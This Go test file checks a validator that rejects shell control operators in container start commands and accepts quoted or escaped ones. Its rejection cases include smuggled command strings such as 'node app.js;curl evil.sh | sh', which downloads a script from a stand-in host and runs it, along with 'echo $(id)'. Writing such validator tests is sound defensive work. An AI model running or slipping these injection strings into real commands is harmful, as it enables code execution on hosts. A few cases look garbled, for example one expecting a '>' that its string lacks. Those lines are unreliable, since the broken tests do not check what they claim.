package main import ( "reflect" "strings" "testing" ) // The runtime process command is the argv a container runs as its main // process. validateRuntimeProcessCommand must reject every form of shell // syntax it claims to reject: standalone control-operator tokens, and // operators embedded inside an argument (parseShellArgs keeps // "app.js;curl" as one literal argv token, so only an unquoted-context scan // catches it). Execution is argv-based, so these checks are defense in // depth; their job is to keep the validator's guarantee equal to its error // messages. func TestValidateRuntimeProcessCommandAcceptsLegitCommands(t *testing.T) { cases := []string{ "java -Xms128M -Xmx{RAM_MB}M -jar /data/server.jar nogui", "node /app/index.js", "node /app/{START_FILE}", "python /app/main.py", "env PORT=3000 node server.js", `node -e 'console.log("a;b")'`, `python -c "print(1|2)"`, `node -e "process.exit(1)" --max-old-space-size=4096`, `python app.py --url "https://example.com/?a=1&b=2"`, `node a\;b`, // escaped operator is literal argv data `./scripts/run.sh`, // plain script path "", } for _, cmd := range cases { if reason := validateRuntimeProcessCommand(cmd); reason != "" { t.Fatalf("validateRuntimeProcessCommand(%q) = %q, want accepted", cmd, reason) } } } func TestValidateRuntimeProcessCommandRejectsStandaloneOperators(t *testing.T) { cases := []string{ "node app.js && npm start", "node app.js || npm start", "node app.js ; npm start", "node app.js & npm start", "node app.js | tee log", "node app.js > out.log", "node app.js >> out.log", "node app.js < in.txt", "node app.js 2>&1", "node app.js 2> err.log", `node app.js ";"`, `sh -c "node app.js"`, "docker run -it alpine", "`touch /tmp/x`", "echo $(id)", } for _, cmd := range cases { if reason := validateRuntimeProcessCommand(cmd); reason == "" { t.Fatalf("validateRuntimeProcessCommand(%q) accepted, want rejected", cmd) } } } func TestValidateRuntimeProcessCommandRejectsEmbeddedUnquotedOperators(t *testing.T) { cases := []string{ "node app.js;curl evil.sh | sh", "node app.js;curl", "node a&&b.js", "node a||b", "node a|b", "node a&b", "java -jar app.jar>out.log", "java -jar app.jar>>out.log", "java -jar app.jarerr.log", "python app.py 2>&1", "env FOO=a;b node x.js", "node app.js ;", ";node app.js", "&node app.js", } for _, cmd := range cases { reason := validateRuntimeProcessCommand(cmd) if reason == "" { t.Fatalf("validateRuntimeProcessCommand(%q) accepted, want rejected", cmd) } if !strings.Contains(reason, "shell control operator") { t.Fatalf("validateRuntimeProcessCommand(%q) = %q, want a shell control operator reason", cmd, reason) } } } func TestValidateRuntimeProcessCommandQuotedOperatorsStayLiteral(t *testing.T) { // Quoted operators are data for both argv execution and verbatim shell // execution, so they must stay accepted (except a bare quoted operator // token, which the exact-token blocklist still rejects). cases := []string{ `node "a&&b.js"`, `node 'a;b.js'`, `node a"&&"b`, } for _, cmd := range cases { if reason := validateRuntimeProcessCommand(cmd); reason != "" { t.Fatalf("validateRuntimeProcessCommand(%q) = %q, want accepted", cmd, reason) } } if reason := validateRuntimeProcessCommand(`node app.js ";"`); reason == "" { t.Fatalf(`validateRuntimeProcessCommand("node app.js \";\"") accepted, want rejected`) } } func TestFindUnquotedRuntimeShellOperatorMatchesParserQuoting(t *testing.T) { cases := []struct { command string want byte }{ {"node app.js", 0}, {`node "a;b"`, 0}, {`node 'a&&b'`, 0}, {`node a\;b`, 0}, // escaped {`node "a\";b"`, 0}, // escaped quote keeps the operator quoted {"node a;b", ';'}, {"node a&&b", '&'}, {"node a|b", '|'}, {"node ab", '>'}, {"node a ; b", ';'}, {`node 'x'y;z`, ';'}, // operator after a quoted segment } for _, tc := range cases { if got := findUnquotedRuntimeShellOperator(tc.command); got != tc.want { t.Fatalf("findUnquotedRuntimeShellOperator(%q) = %q, want %q", tc.command, string(got), string(tc.want)) } } } func TestBuildProcessCommandArgsArgvContract(t *testing.T) { args, err := buildProcessCommandArgs("node /app/index.js --flag value") if err != nil { t.Fatalf("buildProcessCommandArgs rejected a plain command: %v", err) } if want := []string{"node", "/app/index.js", "--flag", "value"}; !reflect.DeepEqual(args, want) { t.Fatalf("buildProcessCommandArgs argv = %#v, want %#v", args, want) } if _, err := buildProcessCommandArgs("node app.js;curl evil.sh"); err == nil { t.Fatalf("buildProcessCommandArgs accepted an embedded control operator") } }